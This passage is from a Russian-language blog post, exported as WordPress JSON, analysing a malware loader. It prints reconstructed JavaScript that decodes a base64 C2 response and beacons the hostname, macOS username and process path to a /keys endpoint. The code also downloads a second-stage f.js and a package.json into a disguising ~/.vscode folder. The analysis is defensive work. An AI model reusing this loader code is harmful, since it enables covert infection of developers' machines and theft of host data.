\u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a\u043e\u0433\u043e \u0444\u043e\u0440\u043c\u0430\u0442\u0430: * * `&lt;host&gt;,&lt;type&gt;` * * \u0413\u0434\u0435: * &#8212; `host` \u2014 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 C2-host, \u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0434\u0430\u043b\u044c\u0448\u0435 \u0431\u0443\u0434\u0443\u0442 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0442\u044c\u0441\u044f payload \u0438 package.json. * &#8212; `type` \u2014 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0438\u043b\u0438 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 payload. * * \u0415\u0441\u043b\u0438 \u0444\u043e\u0440\u043c\u0430\u0442 \u043e\u0442\u0432\u0435\u0442\u0430 \u043d\u0435 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442, \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 `false`, * \u0438 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u0435\u043a\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f. * * @param {string} body * \u0422\u0435\u043b\u043e HTTP-\u043e\u0442\u0432\u0435\u0442\u0430. * * @returns {boolean} * `true`, \u0435\u0441\u043b\u0438 \u043e\u0442\u0432\u0435\u0442 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d \u0438 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f `baseUrl` \u0438 `type` \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u044b. * `false`, \u0435\u0441\u043b\u0438 \u043e\u0442\u0432\u0435\u0442 \u043d\u0435 \u043f\u043e\u0445\u043e\u0436 \u043d\u0430 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 C2-\u043e\u0442\u0432\u0435\u0442. *\/function parseServerResponse(body) {  if (!body.startsWith(&#8216;ZT3&#8217;)) {    return false;  }  const encoded = body.slice(3);  const decoded = Buffer.from(encoded, &#8216;base64&#8217;).toString(&#8216;utf8&#8217;);  const parts = decoded.split(&#8216;,&#8217;);  baseUrl = `http:\/\/${parts[0]}:1244`;  type = parts[1];  return true;}\/** * \u041e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. * * \u0424\u0443\u043d\u043a\u0446\u0438\u044f \u0434\u0435\u043b\u0430\u0435\u0442 POST-\u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 `\/keys` \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u043d\u0430\u0431\u043e\u0440 \u0434\u0430\u043d\u043d\u044b\u0445, * \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0430 \u043c\u043e\u0436\u0435\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0443 \u0438 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430. * * \u0412 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432\u0445\u043e\u0434\u044f\u0442: * &#8212; timestamp \u0437\u0430\u043f\u0443\u0441\u043a\u0430; * &#8212; \u0442\u0438\u043f payload, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u043e\u0442 C2; * &#8212; hostname; * &#8212; username \u043d\u0430 macOS; * &#8212; \u043f\u0443\u0442\u044c \u0438\u043b\u0438 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0431\u044b\u043b \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u043a\u043e\u0434. * * \u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 `\/keys` \u043c\u043e\u0436\u0435\u0442 \u0432\u0432\u043e\u0434\u0438\u0442\u044c \u0432 \u0437\u0430\u0431\u043b\u0443\u0436\u0434\u0435\u043d\u0438\u0435: \u043f\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044e \u044d\u0442\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043f\u043e\u0445\u043e\u0436\u0435 * \u043d\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044e infected host\/beaconing, \u0430 \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 * \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043b\u044e\u0447\u0435\u0439. * * @returns {void} *\/function reportHost() {  let hostId = hostname;  if (platform[0] === &#8216;d&#8217;) {    hostId = `${hostId}+${userInfo.username}`;  }  let commandContext = &#8216;5A1&#8217;;  try {    commandContext += process.argv[1];  } catch {}  request.post({    url: `${baseUrl}\/keys`,    formData: {      ts: timestamp,      type,      hid: hostId,      ss: &#8216;oqr&#8217;,      cc: commandContext,    },  });}\/** * \u0421\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442 \u0432\u0442\u043e\u0440\u043e\u0439 \u044d\u0442\u0430\u043f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0430 \u0438 \u0433\u043e\u0442\u043e\u0432\u0438\u0442 \u0435\u0433\u043e \u043a \u0437\u0430\u043f\u0443\u0441\u043a\u0443. * * \u0424\u0443\u043d\u043a\u0446\u0438\u044f \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e `~\/.vscode`, \u0435\u0441\u043b\u0438 \u0435\u0451 \u0435\u0449\u0451 \u043d\u0435\u0442. * \u0417\u0430\u0442\u0435\u043c \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442 JS-payload \u0441 C2 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u0435\u0433\u043e \u043a\u0430\u043a `f.js`. * * \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 `~\/.vscode` \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438: * \u0442\u0430\u043a\u0430\u044f \u043f\u0430\u043f\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c\u0441\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0443 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0447\u0430\u0441\u0442\u044c\u044e \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f * VS Code\/Cursor. * * \u0415\u0441\u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c `~\/.vscode` \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c, \u043a\u043e\u0434 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0434\u043e\u043c\u0430\u0448\u043d\u044e\u044e \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e * \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043a\u0430\u043a fallback. * * @returns {void} *\/function downloadAndRunPayload() {  let targetDir = path.join(homeDir, &#8216;.vscode&#8217;);  try {    fs.mkdirSync(targetDir, { recursive: true });  } catch {    targetDir = homeDir;  }  const payloadPath = path.join(targetDir, &#8216;f.js&#8217;);  try {    fs.rmSync(payloadPath);  } catch {}  request.get(`${baseUrl}\/f\/${type}`, (error, response, body) =&gt; {    if (error) return;    try {      fs.writeFileSync(payloadPath, body);    } catch {}    downloadPackageJson(targetDir);  });}\/** * \u0421\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442 `package.json` \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043e\u043c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e npm-\u043f\u0440\u043e\u0435\u043a\u0442\u0430. * * \u041f\u043e\u0441\u043b\u0435 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u044f `f.js` \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u0442\u0430\u043a\u0436\u0435 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442 `package.json` * \u0441 C2 endpoint `\/p`. * * \u042d\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0441\u043a\u0430\u0447\u0430\u043d\u043d\u043e\u043c\u0443 payload. * \u0422\u043e \u0435\u0441\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 npm-\u043f\u0440\u043e\u0435\u043a\u0442 \u0432\u043d\u0443\u0442\u0440\u0438 `~\/.vscode`. * * \u0412 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u043b\u043e\u0433\u0438\u043a\u0435 \u0435\u0441\u0442\u044c \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u043c\u0435\u0440\u0430: * \u0435\u0441\u043b\u0438 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 `package.json` \u043c\u0435\u043d\u044c\u0448\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u0442\u0435\u043b\u0430 \u043e\u0442\u0432\u0435\u0442\u0430, * \u0444\u0430\u0439\u043b \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f. * * @param {string} targetDir * \u0414\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044f, \u043a\u0443\u0434\u0430 \u0440\u0430\u043d\u0435\u0435 \u0431\u044b\u043b \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d `f.js`. * \u041e\u0431\u044b\u0447\u043d\u043e \u044d\u0442\u043e `~\/.vscode`. * * @returns {void} *\/function downloadPackageJson(targetDir) {  const packagePath = path.join(targetDir, &#8216;package.json&#8217;);  let oldSize = 0;  if (fs.existsSync(packagePath)) {    try {      oldSize = fs.statSync(packagePath).size;    } catch {}  }  request.get(`${baseUrl}\/p`, (error, response, body) =&gt; {    if (error) return;    try {      if (body.length &gt; oldSize) {       &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-479201","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/479201","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=479201"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/479201\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=479201"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=479201"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=479201"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}